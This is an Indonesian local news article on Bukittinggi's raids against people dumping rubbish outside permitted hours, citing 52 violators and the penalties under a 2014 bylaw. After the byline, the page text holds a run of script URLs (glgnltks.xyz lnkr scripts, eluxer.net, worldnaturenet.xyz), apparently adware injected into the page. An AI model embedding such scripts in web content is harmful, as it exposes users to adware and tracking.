Ruang Publik

Dinas Lingkungan Hidup dan Satpol PP Bukittinggi Tindak Pelanggar Buang Sampah Diluar Ketentuan

HaloBukittinggi : Untuk mengantisipasi banyak nya warga yang membuang sampah diluar jam yang telah ditentukan, yakni mulai pukul 18.00 WIB hingga jam 06.00 WIB setiap harinya, Dinas Lingkungan Hidup Kota Bukittinggi komit melakukan penindakan secara tegas.

Kepala Dinas Lingkungan Hidup Kota Bukittinggi Supadria, Sabtu (10/6/2017), mengatakan, untuk menindak warga dan masyarakat luar Kota Bukittinggi yang masih melanggar aturan, dilibatkan Dinas Satuan Polisi Pamong Praja, dengan menggelar razia mengamankan masyarakat yang kedapatan melakukan pelanggaran.

“Dalam razia yang telah rutin dilaksanakan, setidaknya tercatat sebanyak 52 orang berhasil ditangkap, dan petugas mengamankan KTP warga untuk diproses sesuai Perda yang berlaku,” ulasnya.

Menurut Supadria, sebanyak enam titik tempat pembuangan sampah dalam Kota Bukittinggi ditempatkan dua orang petugas dari Dinas Lingkungan Hidup dan Satpol PP. Apabila ada yang dipergoki membuang sampah langsung ditindak dengan dicatat identitasnya dan KTP langsung ditahan dan bisa mengambil di Satpol PP Bukittinggi.

“Masih ada warga luar Bukittinggi yang membuang sampah ke dalam kota karena minimnya tempat penampungan sampah di luar kota, ini menambah beban anggaran kota. Kami sudah perkirakan, sampah perhari di Bukittinggi sekitar 90 ton, tapi kenyataannya hingga 180 ton, kami menelusuri dan mencari informasi, ternyata warga di luar Bukittinggi yang membuang sampah mereka ke sini,” jelasnya.

Sementara itu Kepala Dinas Satpol PP Kota Bukittinggi, Syafnir, menjelaskan, razia melibatkan tim Dinas Satpol PP, Dinas lingkungan hidup. Razia ini dilaksanakan dengan menempatkan petugas di beberapa tempat yang sering digunakan masyarakat membuang sampah, terutama pagi hari.

Razia dengan sistem ini, tim sering terkecoh oleh masyarakat yang membuang sampah rumah tangga seperti menggunakan kantong plastik yang melempar ketika sepeda motor masih sedang berjalan dan langsung tancap gas setelah membuang sampah.

Walaupun berasal dari Bukittinggi dibuktikan dengan KTP sambung Syafnir, namun karena membuang sampah pada waktu di luar ketentuan, yang bersangkutan dan barang bukti dibawa ke Kantor Dinas Satpol PP.

“Setidaknya dalam razia yang telah dilakukan terjaring sebanyal 52 orang di enam tempat pembuangan sampah. Untuk aktifnya kegiatan ini, razia dengan menunggu di Tempat Pembuangan Sampah (TPS) yang sering digunakan masyarakat untuk buang sampah. Untuk sosialisasi, kegiatan ini sudah disampaikan pada seluruh camat untuk menyampaikan pada warganya setiap kesempatan,” jelasnya.

Menurut Syafnir, razia ini kita tidak perlu sosialisasi lagi, sebab sudah sering dilakukan, kita langsung penindakan sesuai dengan Perda Nomor 5 tahun 2014 yang terjaring diberi sanksi tindakan pidana ringan (tipiring) yaitu tiga bulan kurungan penjara atau denda paling banyak Rp 5 juta.

Sesuai Perda yang berlaku, dilarang membuah sampah dari pukul 6 pagi sampai pukul 6 sore dan yang dibenarkan adalah pukul 6 sore sampai pukul 6 pagi hanya untuk warga Bukittinggi.

”Kalau ada warga dari luar kota Bukittinggi membuang sampah ke dalam kota, walaupun malam hari, juga akan tindak,” tukasnya. (Dipra)

https://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2449&ext=Advertisehttps://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2450&ext=Not%20sethttps://glgnltks.xyz/addons/lnkr5.min.jshttps://glgnltks.xyz/addons/lnkr30_nt.min.jshttps://eluxer.net/code?id=105&subid=51565_4460_https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51565_4460_&r=48https://glgnltks.xyz/ext/116c6de661dcbbd02f.js?sid=51565_4460_&title=Not%20set&blocks%5B%5D=1f755&blocks%5B%5D=4d09a

Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Populer

Copyright © 2016 HaloBukittinggi

To Top